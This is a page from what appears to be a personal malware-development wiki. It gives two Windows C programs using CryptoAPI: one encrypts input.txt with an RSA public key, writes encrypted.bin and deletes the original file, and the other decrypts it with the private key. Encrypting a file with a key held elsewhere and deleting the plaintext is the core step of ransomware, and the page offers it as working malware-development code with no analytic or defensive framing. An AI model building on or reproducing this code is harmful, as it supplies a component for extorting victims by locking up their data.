> For the complete documentation index, see [llms.txt](https://everythingblackkk.gitbook.io/everythingblackkk/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor-3.md).

# Encryption Files c

## <mark style="color:red;">Small Files Only</mark>

## encryption.c

```csharp
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

#define ENCRYPTED_FILE "encrypted.bin"
#define PUBLIC_KEY_FILE "PublicKey.txt"

void HandleError(const char* msg) {
    fprintf(stderr, "%s. Error: %ld\n", msg, GetLastError());
    exit(1);
}

int main() {
    // Open Public Key FIle 
    FILE* pubKeyFile = fopen(PUBLIC_KEY_FILE, "rb");
    if (!pubKeyFile) {
        HandleError("Failed to open public key file");
    }

    // Read Public Key 
    fseek(pubKeyFile, 0, SEEK_END);
    long keySize = ftell(pubKeyFile);
    fseek(pubKeyFile, 0, SEEK_SET);

    BYTE* publicKey = (BYTE*)malloc(keySize);
    if (!publicKey) {
        HandleError("Memory allocation failed for public key");
    }

    fread(publicKey, 1, keySize, pubKeyFile);
    fclose(pubKeyFile);

    // Open File 
    FILE* inputFile = fopen("input.txt", "rb");
    if (!inputFile) {
        HandleError("Failed to open input file");
    }

    fseek(inputFile, 0, SEEK_END);
    long fileSize = ftell(inputFile);
    fseek(inputFile, 0, SEEK_SET);

    BYTE* fileData = (BYTE*)malloc(fileSize);
    if (!fileData) {
        HandleError("Memory allocation failed for file data");
    }

    fread(fileData, 1, fileSize, inputFile);
    fclose(inputFile);

    
    HCRYPTPROV hCryptProv;
    if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        HandleError("CryptAcquireContext failed");
    }

    // Export Public Key 
    HCRYPTKEY hPubKey;
    if (!CryptImportKey(hCryptProv, publicKey, keySize, 0, 0, &hPubKey)) {
        HandleError("CryptImportKey failed");
    }

    free(publicKey);

    // Enc Data 
    DWORD encryptedSize = fileSize;
    if (!CryptEncrypt(hPubKey, 0, TRUE, 0, NULL, &encryptedSize, 0)) {
        HandleError("Failed to calculate encrypted size");
    }

    BYTE* encryptedData = (BYTE*)malloc(encryptedSize);
    if (!encryptedData) {
        HandleError("Memory allocation failed for encrypted data");
    }

    memcpy(encryptedData, fileData, fileSize);
    free(fileData);

    if (!CryptEncrypt(hPubKey, 0, TRUE, 0, encryptedData, &fileSize, encryptedSize)) {
        HandleError("CryptEncrypt failed");
    }

    // Save Enc Data in File 
    FILE* encryptedFile = fopen(ENCRYPTED_FILE, "wb");
    if (!encryptedFile) {
        HandleError("Failed to open encrypted file for writing");
    }

    fwrite(encryptedData, 1, encryptedSize, encryptedFile);
    fclose(encryptedFile);

    free(encryptedData);
    CryptDestroyKey(hPubKey);
    CryptReleaseContext(hCryptProv, 0);

    if (remove("input.txt") == 0) {
        printf("[!] file Delete Suc .\n");
    }
    else {
        perror("[!] Error To Delete File ");
    }


    printf("File encrypted successfully.\n");
    return 0;
}

```

## Decryption.c&#x20;

```csharp
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

#define ENCRYPTED_FILE "encrypted.bin"
#define PRIVATE_KEY_FILE "privatekey.txt"
#define DECRYPTED_FILE "decrypted.txt"

void HandleError(const char *msg) {
    fprintf(stderr, "%s. Error: %ld\n", msg, GetLastError());
    exit(1);
}

int main() {
    // Open Prv Key File 
    FILE *privKeyFile = fopen(PRIVATE_KEY_FILE, "rb");
    if (!privKeyFile) {
        HandleError("Failed to open private key file");
    }

    fseek(privKeyFile, 0, SEEK_END);
    long keySize = ftell(privKeyFile);
    fseek(privKeyFile, 0, SEEK_SET);

    BYTE *privateKey = (BYTE *)malloc(keySize);
    if (!privateKey) {
        HandleError("Memory allocation failed for private key");
    }

    fread(privateKey, 1, keySize, privKeyFile);
    fclose(privKeyFile);

    // Open Enc Files 
    FILE *encryptedFile = fopen(ENCRYPTED_FILE, "rb");
    if (!encryptedFile) {
        HandleError("Failed to open encrypted file");
    }

    fseek(encryptedFile, 0, SEEK_END);
    long encryptedSize = ftell(encryptedFile);
    fseek(encryptedFile, 0, SEEK_SET);

    BYTE *encryptedData = (BYTE *)malloc(encryptedSize);
    if (!encryptedData) {
        HandleError("Memory allocation failed for encrypted data");
    }

    fread(encryptedData, 1, encryptedSize, encryptedFile);
    fclose(encryptedFile);

   
    HCRYPTPROV hCryptProv;
    if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        HandleError("CryptAcquireContext failed");
    }

   
    HCRYPTKEY hPrivKey;
    if (!CryptImportKey(hCryptProv, privateKey, keySize, 0, 0, &hPrivKey)) {
        HandleError("CryptImportKey failed");
    }

    free(privateKey);


    DWORD decryptedSize = encryptedSize;
    if (!CryptDecrypt(hPrivKey, 0, TRUE, 0, encryptedData, &decryptedSize)) {
        HandleError("CryptDecrypt failed");
    }

   
    FILE *decryptedFile = fopen(DECRYPTED_FILE, "wb");
    if (!decryptedFile) {
        HandleError("Failed to open decrypted file for writing");
    }

    fwrite(encryptedData, 1, decryptedSize, decryptedFile);
    fclose(decryptedFile);

    free(encryptedData);
    CryptDestroyKey(hPrivKey);
    CryptReleaseContext(hCryptProv, 0);

    printf("File decrypted successfully.\n");
    return 0;
}

```


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